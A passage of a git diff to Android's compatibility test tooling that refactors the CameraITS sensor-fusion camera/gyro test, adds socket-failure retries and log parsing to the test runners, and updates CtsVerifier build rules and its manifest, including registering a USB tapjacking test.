+        print fail_str
+        assert 0
 
     cam_frame_range = max_cam_time - min_cam_time
     gyro_time_range = max_gyro_time - min_gyro_time
     gyro_smp_per_sec = len(gyro_times) / gyro_time_range
     print "Camera frame range", max_cam_time - min_cam_time
     print "Gyro samples per second", gyro_smp_per_sec
-    assert(cam_frame_range < MAX_CAM_FRM_RANGE_SEC)
-    assert(gyro_smp_per_sec > MIN_GYRO_SMP_RATE)
+    assert cam_frame_range < MAX_CAM_FRM_RANGE_SEC
+    assert gyro_smp_per_sec > MIN_GYRO_SMP_RATE
 
     # Compute the camera rotation displacements (rad) between each pair of
     # adjacent frames.
-    cam_rots = get_cam_rotations(frames, events["facing"])
+    cam_rots = get_cam_rotations(frames, events["facing"], h)
     if max(abs(cam_rots)) < THRESH_MIN_ROT:
         print "Device wasn't moved enough"
-        assert(0)
+        assert 0
 
     # Find the best offset (time-shift) to align the gyro and camera motion
     # traces; this function integrates the shifted gyro data between camera
@@ -141,15 +174,16 @@
     offset = get_best_alignment_offset(cam_times, cam_rots, events["gyro"])
 
     # Plot the camera and gyro traces after applying the best shift.
-    cam_times = cam_times + offset*SEC_TO_NSEC
+    cam_times += offset*SEC_TO_NSEC
     gyro_rots = get_gyro_rotations(events["gyro"], cam_times)
     plot_rotations(cam_rots, gyro_rots)
 
     # Pass/fail based on the offset and also the correlation distance.
     dist = scipy.spatial.distance.correlation(cam_rots, gyro_rots)
     print "Best correlation of %f at shift of %.2fms"%(dist, offset*SEC_TO_MSEC)
-    assert(dist < THRESH_MAX_CORR_DIST)
-    assert(abs(offset) < THRESH_MAX_SHIFT_MS*MSEC_TO_SEC)
+    assert dist < THRESH_MAX_CORR_DIST
+    assert abs(offset) < THRESH_MAX_SHIFT_MS*MSEC_TO_SEC
+
 
 def get_best_alignment_offset(cam_times, cam_rots, gyro_events):
     """Find the best offset to align the camera and gyro traces.
@@ -167,7 +201,7 @@
     """
     # Measure the corr. dist. over a shift of up to +/- 50ms (0.5ms step size).
     # Get the shift corresponding to the best (lowest) score.
-    candidates = numpy.arange(-50,50.5,0.5).tolist()
+    candidates = numpy.arange(-50, 50.5, 0.5).tolist()
     dists = []
     for shift in candidates:
         times = cam_times + shift*MSEC_TO_NSEC
@@ -187,20 +221,20 @@
     i = dists.index(best_corr_dist)
     candidates = candidates[i-20:i+21]
     dists = dists[i-20:i+21]
-    a,b,c = numpy.polyfit(candidates, dists, 2)
+    a, b, c = numpy.polyfit(candidates, dists, 2)
     exact_best_shift = -b/(2*a)
     if abs(best_shift - exact_best_shift) > 2.0 or a <= 0 or c <= 0:
         print "Test failed; bad fit to time-shift curve"
-        print "best_shift %f, exact_best_shift %f, a %f, c %f" % (best_shift,
-                exact_best_shift, a, c)
-        assert(0)
+        print "best_shift %f, exact_best_shift %f, a %f, c %f" % (
+            best_shift, exact_best_shift, a, c)
+        assert 0
 
     xfit = numpy.arange(candidates[0], candidates[-1], 0.05).tolist()
     yfit = [a*x*x+b*x+c for x in xfit]
-    fig = matplotlib.pyplot.figure()
-    pylab.plot(candidates, dists, 'r', label="data")
-    pylab.plot(xfit, yfit, 'b', label="fit")
-    pylab.plot([exact_best_shift+x for x in [-0.1,0,0.1]], [0,0.01,0], 'b')
+    matplotlib.pyplot.figure()
+    pylab.plot(candidates, dists, "r", label="data")
+    pylab.plot(xfit, yfit, "", label="fit")
+    pylab.plot([exact_best_shift+x for x in [-0.1, 0, 0.1]], [0, 0.01, 0], "b")
     pylab.xlabel("Relative horizontal shift between curves (ms)")
     pylab.ylabel("Correlation distance")
     pylab.legend()
@@ -208,6 +242,7 @@
 
     return exact_best_shift * MSEC_TO_SEC
 
+
 def plot_rotations(cam_rots, gyro_rots):
     """Save a plot of the camera vs. gyro rotational measurements.
 
@@ -217,17 +252,18 @@
     """
     # For the plot, scale the rotations to be in degrees.
     scale = 360/(2*math.pi)
-    fig = matplotlib.pyplot.figure()
-    cam_rots = cam_rots * scale
-    gyro_rots = gyro_rots * scale
-    pylab.plot(range(len(cam_rots)), cam_rots, 'r', label="camera")
-    pylab.plot(range(len(gyro_rots)), gyro_rots, 'b', label="gyro")
+    matplotlib.pyplot.figure()
+    cam_rots *= scale
+    gyro_rots *= scale
+    pylab.plot(range(len(cam_rots)), cam_rots, "r", label="camera")
+    pylab.plot(range(len(gyro_rots)), gyro_rots, "b", label="gyro")
     pylab.legend()
     pylab.xlabel("Camera frame number")
     pylab.ylabel("Angular displacement between adjacent camera frames (deg)")
     pylab.xlim([0, len(cam_rots)])
     matplotlib.pyplot.savefig("%s_plot.png" % (NAME))
 
+
 def get_gyro_rotations(gyro_events, cam_times):
     """Get the rotation values of the gyro.
 
@@ -260,7 +296,7 @@
             deltatgyro = (tgyro1 - tgyro0) * NSEC_TO_SEC
             sgyro += vgyro * deltatgyro
         # Handle the fractional intervals at the sides of the window.
-        for side,igyro in enumerate([igyrowindow0-1, igyrowindow1]):
+        for side, igyro in enumerate([igyrowindow0-1, igyrowindow1]):
             vgyro = all_rots[igyro+1]
             tgyro0 = all_times[igyro]
             tgyro1 = all_times[igyro+1]
@@ -275,7 +311,8 @@
     gyro_rots = numpy.array(gyro_rots)
     return gyro_rots
 
-def get_cam_rotations(frames, facing):
+
+def get_cam_rotations(frames, facing, h):
     """Get the rotations of the camera between each pair of frames.
 
     Takes N frames and returns N-1 angular displacements corresponding to the
@@ -283,6 +320,8 @@
 
     Args:
         frames: List of N images (as RGB numpy arrays).
+        facing: Direction camera is facing
+        h:      Pixel height of each frame
 
     Returns:
         Array of N-1 camera rotation measurements (rad).
@@ -292,14 +331,15 @@
         frame = (frame * 255.0).astype(numpy.uint8)
         gframes.append(cv2.cvtColor(frame, cv2.COLOR_RGB2GRAY))
     rots = []
-    ymin = H/2 - FEATURE_MARGIN
-    ymax = H/2 + FEATURE_MARGIN
-    for i in range(1,len(gframes)):
+
+    ymin = h*(1-FEATURE_MARGIN)/2
+    ymax = h*(1+FEATURE_MARGIN)/2
+    for i in range(1, len(gframes)):
         gframe0 = gframes[i-1]
         gframe1 = gframes[i]
         p0 = cv2.goodFeaturesToTrack(gframe0, mask=None, **FEATURE_PARAMS)
         # p0's shape is N * 1 * 2
-        mask = (p0[:,0,1] >= ymin) & (p0[:,0,1] <= ymax)
+        mask = (p0[:, 0, 1] >= ymin) & (p0[:, 0, 1] <= ymax)
         p0_filtered = p0[mask]
         num_features = len(p0_filtered)
         if num_features < MIN_FEATURE_PTS:
@@ -318,17 +358,18 @@
             rot = math.atan2(tform[0, 1], tform[0, 0])
         else:
             print "Unknown lens facing", facing
-            assert(0)
+            assert 0
         rots.append(rot)
         if i == 1:
             # Save a debug visualization of the features that are being
             # tracked in the first frame.
             frame = frames[i]
-            for x,y in p0_filtered[st==1]:
-                cv2.circle(frame, (x,y), 3, (100,100,255), -1)
-            its.image.write_image(frame, "%s_features.png"%(NAME))
+            for x, y in p0_filtered[st == 1]:
+                cv2.circle(frame, (x, y), 3, (100, 100, 255), -1)
+            its.image.write_image(frame, "%s_features.png" % NAME)
     return numpy.array(rots)
 
+
 def get_cam_times(cam_events):
     """Get the camera frame times.
 
@@ -342,35 +383,45 @@
     """
     # Assign a time to each frame that assumes that the image is instantly
     # captured in the middle of its exposure.
-    starts = numpy.array([start for start,exptime,readout in cam_events])
-    exptimes = numpy.array([exptime for start,exptime,readout in cam_events])
-    readouts = numpy.array([readout for start,exptime,readout in cam_events])
+    starts = numpy.array([start for start, exptime, readout in cam_events])
+    exptimes = numpy.array([exptime for start, exptime, readout in cam_events])
+    readouts = numpy.array([readout for start, exptime, readout in cam_events])
     frame_times = starts + (exptimes + readouts) / 2.0
     return frame_times
 
+
 def load_data():
     """Load a set of previously captured data.
 
     Returns:
         events: Dictionary containing all gyro events and cam timestamps.
         frames: List of RGB images as numpy arrays.
+        w:      Pixel width of frames
+        h:      Pixel height of frames
     """
-    with open("%s_events.txt"%(NAME), "r") as f:
+    with open("%s_events.txt" % NAME, "r") as f:
         events = json.loads(f.read())
     n = len(events["cam"])
     frames = []
     for i in range(n):
-        img = Image.open("%s_frame%03d.png"%(NAME,i))
-        w,h = img.size[0:2]
-        frames.append(numpy.array(img).reshape(h,w,3) / 255.0)
-    return events, frames
+        img = Image.open("%s_frame%03d.png" % (NAME, i))
+        w, h = img.size[0:2]
+        frames.append(numpy.array(img).reshape(h, w, 3) / 255.0)
+    return events, frames, w, h
 
-def collect_data():
+
+def collect_data(fps, w, h, test_length):
     """Capture a new set of data from the device.
 
     Captures both motion data and camera frames, while the user is moving
     the device in a proscribed manner.
 
+    Args:
+        fps:         FPS to capture with
+        w:           Pixel width of frames
+        h:           Pixel height of frames
+        test_length: How long the test should run for (in seconds)
+
     Returns:
         events: Dictionary containing all gyro events and cam timestamps.
         frames: List of RGB images as numpy arrays.
@@ -389,21 +440,21 @@
         time.sleep(0.5)
 
         # Capture the frames. OIS is disabled for manual captures.
-        facing = props['android.lens.facing']
+        facing = props["android.lens.facing"]
         if facing != FACING_FRONT and facing != FACING_BACK:
             print "Unknown lens facing", facing
-            assert(0)
+            assert 0
 
-        fmt = {"format":"yuv", "width":W, "height":H}
-        s,e,_,_,_ = cam.do_3a(get_results=True, do_af=False)
+        fmt = {"format": "yuv", "width": w, "height": h}
+        s, e, _, _, _ = cam.do_3a(get_results=True, do_af=False)
         req = its.objects.manual_capture_request(s, e)
         fps = 30
         req["android.lens.focusDistance"] = 1 / (CHART_DISTANCE * CM_TO_M)
         req["android.control.aeTargetFpsRange"] = [fps, fps]
         req["android.sensor.frameDuration"] = int(1000.0/fps * MSEC_TO_NSEC)
         print "Capturing %dx%d with sens. %d, exp. time %.1fms" % (
-                W, H, s, e*NSEC_TO_MSEC)
-        caps = cam.do_capture([req]*N, fmt)
+            w, h, s, e*NSEC_TO_MSEC)
+        caps = cam.do_capture([req]*fps*test_length, fmt)
 
         # Get the gyro events.
         print "Reading out sensor events"
@@ -416,38 +467,42 @@
         exptimes = [c["metadata"]["android.sensor.exposureTime"] for c in caps]
         readouts = [c["metadata"]["android.sensor.rollingShutterSkew"]
                     for c in caps]
-        events = {"gyro": gyro, "cam": zip(starts,exptimes,readouts),
+        events = {"gyro": gyro, "cam": zip(starts, exptimes, readouts),
                   "facing": facing}
-        with open("%s_events.txt"%(NAME), "w") as f:
+        with open("%s_events.txt" % NAME, "w") as f:
             f.write(json.dumps(events))
 
         # Convert the frames to RGB.
         print "Dumping frames"
         frames = []
-        for i,c in enumerate(caps):
+        for i, c in enumerate(caps):
             img = its.image.convert_capture_to_rgb_image(c)
             frames.append(img)
-            its.image.write_image(img, "%s_frame%03d.png"%(NAME,i))
+            its.image.write_image(img, "%s_frame%03d.png" % (NAME, i))
 
         return events, frames
 
+
 def procrustes_rotation(X, Y):
-    """
+    """Performs a Procrustes analysis to conform points in X to Y.
+
     Procrustes analysis determines a linear transformation (translation,
     reflection, orthogonal rotation and scaling) of the points in Y to best
     conform them to the points in matrix X, using the sum of squared errors
     as the goodness of fit criterion.
 
     Args:
-        X, Y: Matrices of target and input coordinates.
+        X: Target coordinate matrix
+        Y: Input coordinate matrix
 
     Returns:
         The rotation component of the transformation that maps X to Y.
     """
     X0 = (X-X.mean(0)) / numpy.sqrt(((X-X.mean(0))**2.0).sum())
     Y0 = (Y-Y.mean(0)) / numpy.sqrt(((Y-Y.mean(0))**2.0).sum())
-    U,s,Vt = numpy.linalg.svd(numpy.dot(X0.T, Y0),full_matrices=False)
+    U, _, Vt = numpy.linalg.svd(numpy.dot(X0.T, Y0), full_matrices=False)
     return numpy.dot(Vt.T, U.T)
 
-if __name__ == '__main__':
+
+if __name__ == "__main__":
     main()
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index de269b7..47f7296 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -26,9 +26,21 @@
 
 CHART_DELAY = 1  # seconds
 FACING_EXTERNAL = 2
+NUM_TRYS = 2
 SKIP_RET_CODE = 101  # note this must be same as tests/scene*/test_*
 
 
+def evaluate_socket_failure(err_file_path):
+    """Determine if test fails due to socket FAIL."""
+    socket_fail = False
+    with open(err_file_path, 'r') as ferr:
+        for line in ferr:
+            if (line.find('socket.error') != -1 or
+                line.find('Problem with socket') != -1):
+                socket_fail = True
+    return socket_fail
+
+
 def skip_sensor_fusion():
     """Determine if sensor fusion test is skipped for this camera."""
 
@@ -47,17 +59,24 @@
 
     Script should be run from the top-level CameraITS directory.
 
-    Command line Arguments:
-        camera: the camera(s) to be tested. Use comma to separate multiple
-                camera Ids. Ex: "camera=0,1" or "camera=1"
-        scenes: the test scene(s) to be executed. Use comma to separate multiple
-                scenes. Ex: "scenes=scene0,scene1" or "scenes=0,1,sensor_fusion"
-                (sceneX can be abbreviated by X where X is a integer)
-        chart: [Experimental] another android device served as test chart
-               display. When this argument presents, change of test scene will
-               be handled automatically. Note that this argument requires
-               special physical/hardware setup to work and may not work on
-               all android devices.
+    Command line arguments:
+        camera:  the camera(s) to be tested. Use comma to separate multiple
+                 camera Ids. Ex: "camera=0,1" or "camera=1"
+        device:  device id for adb
+        scenes:  the test scene(s) to be executed. Use comma to separate
+                 multiple scenes. Ex: "scenes=scene0,scene1" or
+                 "scenes=0,1,sensor_fusion" (sceneX can be abbreviated by X
+                 where X is a integer)
+        chart:   [Experimental] another android device served as test chart
+                 display. When this argument presents, change of test scene
+                 will be handled automatically. Note that this argument
+                 requires special physical/hardware setup to work and may not
+                 work on all android devices.
+        result:  Device ID to forward results to (in addition to the device
+                 that the tests are running on).
+        rot_rig: [Experimental] ID of the rotation rig being used (formatted as
+                 "<vendor ID>:<product ID>:<channel #>" or "default")
+        tmp_dir: location of temp directory for output files
         skip_scene_validation: force skip scene validation. Used when test scene
                  is setup up front and don't require tester validation.
     """
@@ -118,9 +137,8 @@
     chart_host_id = None
     result_device_id = None
     rot_rig_id = None
-
+    tmp_dir = None
     skip_scene_validation = False
-
     for s in sys.argv[1:]:
         if s[:7] == "camera=" and len(s) > 7:
             camera_ids = s[7:].split(',')
@@ -133,6 +151,8 @@
         elif s[:8] == 'rot_rig=' and len(s) > 8:
             rot_rig_id = s[8:]  # valid values: 'default' or '$VID:$PID:$CH'
             # The default '$VID:$PID:$CH' is '04d8:fc73:1'
+        elif s[:8] == 'tmp_dir=' and len(s) > 8:
+            tmp_dir = s[8:]
         elif s == 'skip_scene_validation':
             skip_scene_validation = True
 
@@ -174,7 +194,7 @@
         results[s] = {result_key: ItsSession.RESULT_NOT_EXECUTED}
 
     # Make output directories to hold the generated files.
-    topdir = tempfile.mkdtemp()
+    topdir = tempfile.mkdtemp(dir=tmp_dir)
     subprocess.call(['chmod', 'g+rx', topdir])
     print "Saving output files to:", topdir, "\n"
 
@@ -285,7 +305,7 @@
                     if merge_result_switch and camera_ids[0] == '0':
                         # Send an input event to keep the screen not dimmed.
                         # Since we are not using camera of chart screen, FOCUS event
-                        # should does nothing but keep the screen from dimming.
+                        # should do nothing but keep the screen from dimming.
                         # The "sleep after x minutes of inactivity" display setting
                         # determines how long this command can keep screen bright.
                         # Setting it to something like 30 minutes should be enough.
@@ -293,26 +313,38 @@
                                % chart_host_id)
                         subprocess.call(cmd.split())
                 t0 = time.time()
-                outdir = os.path.join(topdir, camera_id, scene)
-                outpath = os.path.join(outdir, testname+'_stdout.txt')
-                errpath = os.path.join(outdir, testname+'_stderr.txt')
-                if scene == 'sensor_fusion':
-                    if skip_code is not SKIP_RET_CODE:
-                        if rot_rig_id:
-                            print 'Rotating phone w/ rig %s' % rot_rig_id
-                            rig = ('python tools/rotation_rig.py rotator=%s' %
-                                   rot_rig_id)
-                            subprocess.Popen(rig.split())
+                for num_try in range(NUM_TRYS):
+                    outdir = os.path.join(topdir, camera_id, scene)
+                    outpath = os.path.join(outdir, testname+'_stdout.txt')
+                    errpath = os.path.join(outdir, testname+'_stderr.txt')
+                    if scene == 'sensor_fusion':
+                        if skip_code is not SKIP_RET_CODE:
+                            if rot_rig_id:
+                                print 'Rotating phone w/ rig %s' % rot_rig_id
+                                rig = ('python tools/rotation_rig.py rotator=%s' %
+                                       rot_rig_id)
+                                subprocess.Popen(rig.split())
+                            else:
+                                print 'Rotate phone 15s as shown in SensorFusion.pdf'
                         else:
-                            print 'Rotate phone 15s as shown in SensorFusion.pdf'
+                            test_code = skip_code
+                    if skip_code is not SKIP_RET_CODE:
+                        cmd = ['python', os.path.join(os.getcwd(), testpath)]
+                        cmd += sys.argv[1:] + [camera_id_arg]
+                        with open(outpath, 'w') as fout, open(errpath, 'w') as ferr:
+                            test_code = subprocess.call(
+                                cmd, stderr=ferr, stdout=fout, cwd=outdir)
+                    if test_code == 0 or test_code == SKIP_RET_CODE:
+                        break
                     else:
-                        test_code = skip_code
-                if skip_code is not SKIP_RET_CODE:
-                    cmd = ['python', os.path.join(os.getcwd(), testpath)]
-                    cmd += sys.argv[1:] + [camera_id_arg]
-                    with open(outpath, 'w') as fout, open(errpath, 'w') as ferr:
-                        test_code = subprocess.call(
-                            cmd, stderr=ferr, stdout=fout, cwd=outdir)
+                        socket_fail = evaluate_socket_failure(errpath)
+                        if socket_fail:
+                            if num_try != NUM_TRYS-1:
+                                print ' Retry %s/%s' % (scene, testname)
+                            else:
+                                break
+                        else:
+                            break
                 t1 = time.time()
 
                 test_failed = False
diff --git a/apps/CameraITS/tools/run_sensor_fusion_box.py b/apps/CameraITS/tools/run_sensor_fusion_box.py
index 6eb8ceb..ec16b3d 100644
--- a/apps/CameraITS/tools/run_sensor_fusion_box.py
+++ b/apps/CameraITS/tools/run_sensor_fusion_box.py
@@ -14,49 +14,80 @@
 
 import os
 import os.path
+import re
 import subprocess
 import sys
 import tempfile
 import time
 
 import its.device
-# from its.device import ItsSession
+import numpy
 
-NUM_RUNS = 2
 SCENE_NAME = 'sensor_fusion'
 SKIP_RET_CODE = 101
 TEST_NAME = 'test_sensor_fusion'
 TEST_DIR = os.path.join(os.getcwd(), 'tests', SCENE_NAME)
+W, H = 640, 480
+
+# For finding best correlation shifts from test output logs.
+SHIFT_RE = re.compile('^Best correlation of [0-9.]+ at shift of [-0-9.]+ms$')
+# For finding lines that indicate socket issues in failed test runs.
+SOCKET_FAIL_RE = re.compile(
+        r'.*((socket\.(error|timeout))|(Problem with socket)).*')
+
+FPS = 30
+TEST_LENGTH = 7  # seconds
 
 
 def main():
-    """Run all the test_sensor_fusion NUM_RUNS times.
+    """Run test_sensor_fusion NUM_RUNS times.
 
-    Save intermediate files, and producing a summary/report of the results.
+    Save intermediate files and produce a summary/report of the results.
 
     Script should be run from the top-level CameraITS directory.
 
-    Command line Arguments:
-        camera:  the camera(s) to be tested. Use comma to separate multiple
-                 camera Ids. Ex: 'camera=0,1' or 'camera=1'
-        device:  the device id for adb
-        rotator: string for rotator id in for vid:pid:ch
+    Command line arguments:
+        camera:      Camera(s) to be tested. Use comma to separate multiple
+                     camera Ids. Ex: 'camera=0,1' or 'camera=1'
+        device:      Device id for adb
+        fps:         FPS to capture with during the test
+        img_size:    Comma-separated dimensions of captured images (defaults to
+                     640x480). Ex: 'img_size=<width>,<height>'
+        num_runs:    Number of times to repeat the test
+        rotator:     String for rotator id in for vid:pid:ch
+        test_length: How long the test should run for (in seconds)
+        tmp_dir:     Location of temp directory for output files
     """
 
     camera_id = '0'
+    fps = str(FPS)
+    img_size = '%s,%s' % (W, H)
+    num_runs = 1
     rotator_ids = 'default'
+    test_length = str(TEST_LENGTH)
+    tmp_dir = None
     for s in sys.argv[1:]:
         if s[:7] == 'camera=' and len(s) > 7:
             camera_id = s[7:]
+        if s[:4] == 'fps=' and len(s) > 4:
+            fps = s[4:]
+        elif s[:9] == 'img_size=' and len(s) > 9:
+            img_size = s[9:]
+        elif s[:9] == 'num_runs=' and len(s) > 9:
+            num_runs = int(s[9:])
         elif s[:8] == 'rotator=' and len(s) > 8:
             rotator_ids = s[8:]
+        elif s[:12] == 'test_length=' and len(s) > 12:
+            test_length = s[12:]
+        elif s[:8] == 'tmp_dir=' and len(s) > 8:
+            tmp_dir = s[8:]
 
     if camera_id not in ['0', '1']:
         print 'Need to specify camera 0 or 1'
         sys.exit()
 
     # Make output directories to hold the generated files.
-    tmpdir = tempfile.mkdtemp()
+    tmpdir = tempfile.mkdtemp(dir=tmp_dir)
     print 'Saving output files to:', tmpdir, '\n'
 
     device_id = its.device.get_device_id()
@@ -68,42 +99,124 @@
         rotator_id_arg = 'rotator=' + rotator_ids
     print 'Preparing to run sensor_fusion on camera', camera_id
 
+    img_size_arg = 'img_size=' + img_size
+    print 'Image dimensions are ' + 'x'.join(img_size.split(','))
+
+    fps_arg = 'fps=' + fps
+    test_length_arg = 'test_length=' + test_length
+
     os.mkdir(os.path.join(tmpdir, camera_id))
 
-    # Run test multiple times, capturing stdout and stderr.
-    numpass = 0
-    numfail = 0
-    numskip = 0
-    for i in range(NUM_RUNS):
+    # Run test "num_runs" times, capturing stdout and stderr.
+    num_pass = 0
+    num_fail = 0
+    num_skip = 0
+    num_socket_fails = 0
+    num_non_socket_fails = 0
+    shift_list = []
+    for i in range(num_runs):
         os.mkdir(os.path.join(tmpdir, camera_id, SCENE_NAME+'_'+str(i)))
-        cmd = ('python tools/rotation_rig.py rotator=%s' % rotator_ids)
+        cmd = 'python tools/rotation_rig.py rotator=%s' % rotator_ids
         subprocess.Popen(cmd.split())
         cmd = ['python', os.path.join(TEST_DIR, TEST_NAME+'.py'),
-               device_id_arg, camera_id_arg, rotator_id_arg]
+               device_id_arg, camera_id_arg, rotator_id_arg, img_size_arg,
+               fps_arg, test_length_arg]
         outdir = os.path.join(tmpdir, camera_id, SCENE_NAME+'_'+str(i))
         outpath = os.path.join(outdir, TEST_NAME+'_stdout.txt')
         errpath = os.path.join(outdir, TEST_NAME+'_stderr.txt')
         t0 = time.time()
         with open(outpath, 'w') as fout, open(errpath, 'w') as ferr:
             retcode = subprocess.call(
-                cmd, stderr=ferr, stdout=fout, cwd=outdir)
+                    cmd, stderr=ferr, stdout=fout, cwd=outdir)
         t1 = time.time()
 
         if retcode == 0:
             retstr = 'PASS '
-            numpass += 1
+            time_shift = find_time_shift(outpath)
+            shift_list.append(time_shift)
+            num_pass += 1
         elif retcode == SKIP_RET_CODE:
             retstr = 'SKIP '
-            numskip += 1
+            num_skip += 1
         else:
             retstr = 'FAIL '
-            numfail += 1
+            time_shift = find_time_shift(outpath)
+            if time_shift is None:
+                if is_socket_fail(errpath):
+                    num_socket_fails += 1
+                else:
+                    num_non_socket_fails += 1
+            else:
+                shift_list.append(time_shift)
+            num_fail += 1
         msg = '%s %s/%s [%.1fs]' % (retstr, SCENE_NAME, TEST_NAME, t1-t0)
         print msg
 
-    test_result = '%d / %d tests passed (%.1f%%)' % (
-        numpass+numskip, NUM_RUNS, 100.0*float(numpass+numskip)/NUM_RUNS)
-    print test_result
+    if num_pass == 1:
+        print 'Best shift is %sms' % shift_list[0]
+    elif num_pass > 1:
+        shift_arr = numpy.array(shift_list)
+        mean, std = numpy.mean(shift_arr), numpy.std(shift_arr)
+        print 'Best shift mean is %sms with std. dev. of %sms' % (mean, std)
+
+    pass_percentage = 100*float(num_pass+num_skip)/num_runs
+    print '%d / %d tests passed (%.1f%%)' % (num_pass+num_skip,
+                                             num_runs,
+                                             pass_percentage)
+
+    if num_socket_fails != 0:
+        print '%s failure(s) due to socket issues' % num_socket_fails
+    if num_non_socket_fails != 0:
+        print '%s non-socket failure(s)' % num_non_socket_fails
+
+
+def is_socket_fail(err_file_path):
+    """Search through a test run's stderr log for any mention of socket issues.
+
+    Args:
+        err_file_path: File path for stderr logs to search through
+
+    Returns:
+        True if the test run failed and it was due to socket issues. Otherwise,
+        False.
+    """
+    return find_matching_line(err_file_path, SOCKET_FAIL_RE) is not None
+
+
+def find_time_shift(out_file_path):
+    """Search through a test run's stdout log for the best time shift.
+
+    Args:
+        out_file_path: File path for stdout logs to search through
+
+    Returns:
+        The best time shift, if one is found. Otherwise, returns None.
+    """
+    line = find_matching_line(out_file_path, SHIFT_RE)
+    if line is None:
+        return None
+    else:
+        words = line.split(' ')
+        # Get last word and strip off 'ms\n' before converting to a float.
+        return float(words[-1][:-3])
+
+
+def find_matching_line(file_path, regex):
+    """Search each line in the file at 'file_path' for a line matching 'regex'.
+
+    Args:
+        file_path: File path for file being searched
+        regex:     Regex used to match against lines
+
+    Returns:
+        The first matching line. If none exists, returns None.
+    """
+    with open(file_path) as f:
+        for line in f:
+            if regex.match(line):
+                return line
+    return None
+
 
 if __name__ == '__main__':
     main()
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index 0288d074..ba9155c 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -40,6 +40,8 @@
                                compatibility-device-util \
                                platform-test-annotations
 
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
 LOCAL_PACKAGE_NAME := CtsVerifier
 
 LOCAL_JNI_SHARED_LIBRARIES := libctsverifier_jni \
@@ -87,19 +89,31 @@
 
 include $(BUILD_MULTI_PREBUILT)
 
+pre-installed-apps := \
+    CtsEmptyDeviceAdmin \
+    CtsPermissionApp \
+    NotificationBot
 
-notification-bot := $(call intermediates-dir-for,APPS,NotificationBot)/package.apk
-permission-app := $(call intermediates-dir-for,APPS,CtsPermissionApp)/package.apk
-usb-companion := $(call intermediates-dir-for,APPS,CtsVerifierUSBCompanion)/package.apk
-empty-device-admin := $(call intermediates-dir-for,APPS,CtsEmptyDeviceAdmin)/package.apk
+other-required-apps := \
+    CtsVerifierUSBCompanion \
+    CtsVpnFirewallAppApi23 \
+    CtsVpnFirewallAppApi24 \
+    CtsVpnFirewallAppNotAlwaysOn
+
+apps-to-include := \
+    $(pre-installed-apps) \
+    $(other-required-apps)
+
+define apk-location-for
+    $(call intermediates-dir-for,APPS,$(1))/package.apk
+endef
 
 # Builds and launches CTS Verifier on a device.
 .PHONY: cts-verifier
-cts-verifier: CtsVerifier adb NotificationBot CtsPermissionApp CtsEmptyDeviceAdmin
+cts-verifier: CtsVerifier adb $(pre-installed-apps)
 	adb install -r $(PRODUCT_OUT)/data/app/CtsVerifier/CtsVerifier.apk \
-		&& adb install -r $(notification-bot) \
-		&& adb install -r $(permission-app) \
-		&& adb install -r $(empty-device-admin) \
+		$(foreach app,$(pre-installed-apps), \
+		    && adb install -r $(call apk-location-for,$(app))) \
 		&& adb shell "am start -n com.android.cts.verifier/.CtsVerifierActivity"
 
 #
@@ -132,17 +146,12 @@
 
 cts : $(verifier-zip)
 $(verifier-zip) : $(HOST_OUT)/CameraITS
-$(verifier-zip) : $(notification-bot)
-$(verifier-zip) : $(permission-app)
-$(verifier-zip) : $(usb-companion)
-$(verifier-zip) : $(empty-device-admin)
+$(verifier-zip) : $(foreach app,$(apps-to-include),$(call apk-location-for,$(app)))
 $(verifier-zip) : $(call intermediates-dir-for,APPS,CtsVerifier)/package.apk | $(ACP)
 		$(hide) mkdir -p $(verifier-dir)
 		$(hide) $(ACP) -fp $< $(verifier-dir)/CtsVerifier.apk
-		$(ACP) -fp $(notification-bot) $(verifier-dir)/NotificationBot.apk
-		$(ACP) -fp $(permission-app) $(verifier-dir)/CtsPermissionApp.apk
-		$(ACP) -fp $(usb-companion) $(verifier-dir)/CtsVerifierUSBCompanion.apk
-		$(ACP) -fp $(empty-device-admin) $(verifier-dir)/CtsEmptyDeviceAdmin.apk
+		$(foreach app,$(apps-to-include), \
+		    $(ACP) -fp $(call apk-location-for,$(app)) $(verifier-dir)/$(app).apk;)
 		$(hide) $(ACP) -fpr $(HOST_OUT)/CameraITS $(verifier-dir)
 		$(hide) cd $(cts-dir) && zip -rq $(verifier-dir-name) $(verifier-dir-name)
 
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 595b00e..877d83b 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,9 +18,9 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
       package="com.android.cts.verifier"
       android:versionCode="5"
-      android:versionName="8.0_r1">
+      android:versionName="8.1_r1">
 
-    <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="26"/>
+    <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="27"/>
 
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
     <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
@@ -67,6 +67,9 @@
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
 
+    <!-- Needed by UsbTest tapjacking -->
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
     <!-- Needed by the Audio Quality Verifier to store the sound samples that will be mailed. -->
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
 
@@ -94,6 +97,14 @@
         <provider android:name=".TestResultsProvider"
                 android:authorities="com.android.cts.verifier.testresultsprovider" />
 
+        <activity android:name=".admin.tapjacking.UsbTest" android:label="@string/usb_tapjacking_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_device_admin" />
+        </activity>
+
         <activity android:name=".admin.PolicySerializationTestActivity"
                 android:label="@string/da_policy_serialization_test"
                 android:configChanges="keyboardHidden|orientation|screenSize">
@@ -268,6 +279,8 @@
             <meta-data
                 android:name="test_parent"
                 android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data android:name="test_excluded_features"
